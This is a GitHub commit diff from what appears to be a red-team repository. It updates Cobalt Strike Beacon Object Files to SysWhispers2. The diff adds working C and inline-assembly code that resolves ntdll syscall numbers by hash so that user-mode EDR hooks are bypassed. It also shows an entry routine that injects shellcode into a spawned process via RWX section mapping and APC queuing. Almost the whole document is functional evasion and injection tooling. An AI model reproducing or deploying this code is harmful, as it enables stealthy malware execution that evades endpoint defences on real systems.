Skip to content

Commit

Permalink
updated static syscalls bofs to Syswhispers2
Browse files Browse the repository at this point in the history
  • Loading branch information
Alfie Champion committed Aug 17, 2021
1 parent 395c66a commit d02ee21
Show file tree
Hide file tree
Showing 10 changed files with 944 additions and 2,841 deletions.
323 changes: 321 additions & 2 deletions StaticSyscallsAPCSpawn/Syscalls.h
Original file line number Diff line number Diff line change
@@ -1,8 +1,19 @@
#pragma once
#pragma intrinsic(memcpy,strcpy)

// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

#ifndef SW2_HEADER_H_
#define SW2_HEADER_H_

#include <windows.h>
#include "syscalls-asm.h"

#define SW2_SEED 0xB54F107D
#define SW2_ROL8(v) (v << 8 | v >> 24)
#define SW2_ROR8(v) (v >> 8 | v << 24)
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
#define SW2_MAX_ENTRIES 500
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#define STATUS_SUCCESS 0
Expand Down Expand Up @@ -84,12 +95,72 @@ typedef VOID(NTAPI* PIO_APC_ROUTINE) (

typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;


// Typedefs are prefixed to avoid pollution.
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;

typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;

typedef struct _SW2_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;

typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;

typedef struct _SW2_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW2_PEB_LDR_DATA Ldr;
} SW2_PEB, *PSW2_PEB;

DWORD SW2_HashSyscall(PCSTR FunctionName);
BOOL SW2_PopulateSyscallList();
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash);

typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);


#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif


typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;

typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;


EXTERN_C NTSTATUS NtClose(
IN HANDLE Handle);

Expand Down Expand Up @@ -134,3 +205,251 @@ EXTERN_C NTSTATUS NtMapViewOfSection(
EXTERN_C NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress);

#endif


// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams

SW2_SYSCALL_LIST SW2_SyscallList = {0,1};

DWORD SW2_HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = SW2_SEED;

while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
Hash ^= PartialName + SW2_ROR8(Hash);
}

return Hash;
}

BOOL SW2_PopulateSyscallList()
{
// Return early if the list is already populated.
if (SW2_SyscallList.Count) return TRUE;

PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;

// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;

ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);

// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);

if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
}

if (!ExportDirectory) return FALSE;

DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);

// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);

// Is this a system call?
if (*(USHORT*)FunctionName == 'wZ')
{
Entries[i].Hash = SW2_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];

i++;
if (i == SW2_MAX_ENTRIES) break;
}
} while (--NumberOfNames);

// Save total number of system calls found.
SW2_SyscallList.Count = i;

// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW2_SYSCALL_ENTRY TempEntry;

TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;

Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;

Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}

return TRUE;
}

EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW2_SyscallList is populated.
if (!SW2_PopulateSyscallList()) return -1;

for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
{
if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
{
return i;
}
}

return -1;
}
#define ZwClose NtClose
__asm__("NtClose: \n\
mov [rsp +8], rcx\n\
mov [rsp+16], rdx\n\
mov [rsp+24], r8\n\
mov [rsp+32], r9\n\
sub rsp, 0x28\n\
mov ecx, 0x070DA6729\n\
call SW2_GetSyscallNumber\n\
add rsp, 0x28\n\
mov rcx, [rsp +8]\n\
mov rdx, [rsp+16]\n\
mov r8, [rsp+24]\n\
mov r9, [rsp+32]\n\
mov r10, rcx\n\
syscall\n\
ret\n\
");
#define ZwOpenProcess NtOpenProcess
__asm__("NtOpenProcess: \n\
mov [rsp +8], rcx\n\
mov [rsp+16], rdx\n\
mov [rsp+24], r8\n\
mov [rsp+32], r9\n\
sub rsp, 0x28\n\
mov ecx, 0x0EDA60CFB\n\
call SW2_GetSyscallNumber\n\
add rsp, 0x28\n\
mov rcx, [rsp +8]\n\
mov rdx, [rsp+16]\n\
mov r8, [rsp+24]\n\
mov r9, [rsp+32]\n\
mov r10, rcx\n\
syscall\n\
ret\n\
");
#define ZwQueueApcThread NtQueueApcThread
__asm__("NtQueueApcThread: \n\
mov [rsp +8], rcx\n\
mov [rsp+16], rdx\n\
mov [rsp+24], r8\n\
mov [rsp+32], r9\n\
sub rsp, 0x28\n\
mov ecx, 0x07552EB60\n\
call SW2_GetSyscallNumber\n\
add rsp, 0x28\n\
mov rcx, [rsp +8]\n\
mov rdx, [rsp+16]\n\
mov r8, [rsp+24]\n\
mov r9, [rsp+32]\n\
mov r10, rcx\n\
syscall\n\
ret\n\
");
#define ZwResumeThread NtResumeThread
__asm__("NtResumeThread: \n\
mov [rsp +8], rcx\n\
mov [rsp+16], rdx\n\
mov [rsp+24], r8\n\
mov [rsp+32], r9\n\
sub rsp, 0x28\n\
mov ecx, 0x0B12AA59A\n\
call SW2_GetSyscallNumber\n\
add rsp, 0x28\n\
mov rcx, [rsp +8]\n\
mov rdx, [rsp+16]\n\
mov r8, [rsp+24]\n\
mov r9, [rsp+32]\n\
mov r10, rcx\n\
syscall\n\
ret\n\
");
#define ZwCreateSection NtCreateSection
__asm__("NtCreateSection: \n\
mov [rsp +8], rcx\n\
mov [rsp+16], rdx\n\
mov [rsp+24], r8\n\
mov [rsp+32], r9\n\
sub rsp, 0x28\n\
mov ecx, 0x00288061B\n\
call SW2_GetSyscallNumber\n\
add rsp, 0x28\n\
mov rcx, [rsp +8]\n\
mov rdx, [rsp+16]\n\
mov r8, [rsp+24]\n\
mov r9, [rsp+32]\n\
mov r10, rcx\n\
syscall\n\
ret\n\
");
#define ZwMapViewOfSection NtMapViewOfSection
__asm__("NtMapViewOfSection: \n\
mov [rsp +8], rcx\n\
mov [rsp+16], rdx\n\
mov [rsp+24], r8\n\
mov [rsp+32], r9\n\
sub rsp, 0x28\n\
mov ecx, 0x00A540F3F\n\
call SW2_GetSyscallNumber\n\
add rsp, 0x28\n\
mov rcx, [rsp +8]\n\
mov rdx, [rsp+16]\n\
mov r8, [rsp+24]\n\
mov r9, [rsp+32]\n\
mov r10, rcx\n\
syscall\n\
ret\n\
");
#define ZwUnmapViewOfSection NtUnmapViewOfSection
__asm__("NtUnmapViewOfSection: \n\
mov [rsp +8], rcx\n\
mov [rsp+16], rdx\n\
mov [rsp+24], r8\n\
mov [rsp+32], r9\n\
sub rsp, 0x28\n\
mov ecx, 0x0168B301F\n\
call SW2_GetSyscallNumber\n\
add rsp, 0x28\n\
mov rcx, [rsp +8]\n\
mov rdx, [rsp+16]\n\
mov r8, [rsp+24]\n\
mov r9, [rsp+32]\n\
mov r10, rcx\n\
syscall\n\
ret\n\
");
2 changes: 1 addition & 1 deletion StaticSyscallsAPCSpawn/entry.c
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ VOID InjectShellcode(PROCESS_INFORMATION * pInfo, char* sc_ptr, SIZE_T sc_len) {
// Allocating Read-Write-eXecute (RWX) memory for shellcode (opsec 101)
if (nts = NtCreateSection(&scHandle, SECTION_ALL_ACCESS, NULL, &li,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL) != STATUS_SUCCESS) {
BeaconPrintf(CALLBACK_ERROR,"NtMapViewOfSection - FAILED! %08X\n", nts);
BeaconPrintf(CALLBACK_ERROR,"NtCreateSection - FAILED! %08X\n", nts);
return;
}

Expand Down
Loading

0 comments on commit d02ee21

Please sign in to comment.